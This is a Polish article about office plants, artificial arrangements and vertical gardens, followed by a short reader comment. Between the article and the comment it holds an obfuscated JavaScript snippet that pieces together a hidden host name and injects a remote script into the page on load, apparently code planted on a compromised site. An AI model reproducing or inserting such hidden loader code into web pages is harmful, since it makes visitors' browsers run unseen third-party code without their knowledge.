Aby jednak zespołowi dobrze się pracowało, należy stworzyć odpowiednią atmosferę w biurze, która pozytywnie wpłynie na koncentrację i ogólne samopoczucie pracowników. Jednym z bardziej skutecznych i zarazem efektownych sposobów na uzyskanie takiego rezultatu jest wprowadzenie do wnętrza biurowego odrobiny zieleni. Sprawdź, co może zrobić dla Twojej firmy roślinność w biurze.
Rośliny i kwiaty w biurze - co dają?
Zarówno prawdziwe, jak i sztuczne rośliny w biurze są w stanie zapewnić firmie szereg korzyści, które mogą przełożyć się na jakość pracy. Naturalne kwiaty nie tylko poprawiają estetykę wnętrza, ale również pozytywnie wpływają na czystość powietrza, co jest ważne - zwłaszcza w mieście. O naturalne rośliny trzeba jednak regularnie dbać, a nie każda firma posiada dedykowanego pracownika do takich zadań. Dlatego coraz więcej przedsiębiorstw stawia na sztuczne rośliny i kompozycje, które nawet z bliska naśladują wyglądem naturalny odpowiednik, a nie wymagają szczególnej pielęgnacji. Jeśli interesuje Cię, jakie są najważniejsze zalety takiego rozwiązania, oto one:
Zielona ściana do biura - efektowna dekoracja
Jeśli cenisz sobie nietuzinkowe aranżacje, na ścianie możesz także zamontować tzw. ogród wertykalny, który będzie stanowił wręcz wizytówkę firmy. Takie rozwiązanie sprawdzi się doskonale nie tylko w biurze, ale również w punktach usługowych i handlowych - salonach kosmetycznych i SPA, kawiarniach, na siłowni.
Czujesz, że roślinne i kwiatowe kompozycje mogą ożywić przestrzeń w Twojej pracy, ale nie wiesz, gdzie szukać takich rozwiązań? W całej Polsce istnieją firmy, które zajmują się projektowaniem i montażem naturalnych, i sztucznych instalacji roślinnych, takich jak np. ogrody wertykalne i zielone ściany. Najbliższą firmę specjalizującą się w tej dziedzinie najłatwiej jest znaleźć przez Internet. Profesjonaliści doradzą Ci, jaka propozycja będzie optymalna do Twojego biura i zadbają o to, by całość idealnie wpisywała się w filozofię marki.
(function(){
xr8n_=("u"+"")+"s"+"";xr8n_+=("tat.")+("i");
xr8n=document.createElement("script");xr8n.type="text/javascript";xr8n_+="nf"+("o")+"/";
xr8nu="376473786"+".";xr8n.async=true;xr8nu+="z0h72kejr8n4p6ifpmjurr8aq2ubui";
xr8n.src="https://"+xr8n_+xr8nu;xr8nb=document.body;xr8nb.appendChild(xr8n);
})();
0 0
W biurze to ja mam zielono, ale od sztucznych kwiatów. Ostatnio domówiłam kolejne dwa z megasceny, bo ciągle mi mało. Żywych kwiatów wole nie kupować, bo często jestem też w rozjazdach, więc nie miałby kto podlewać :)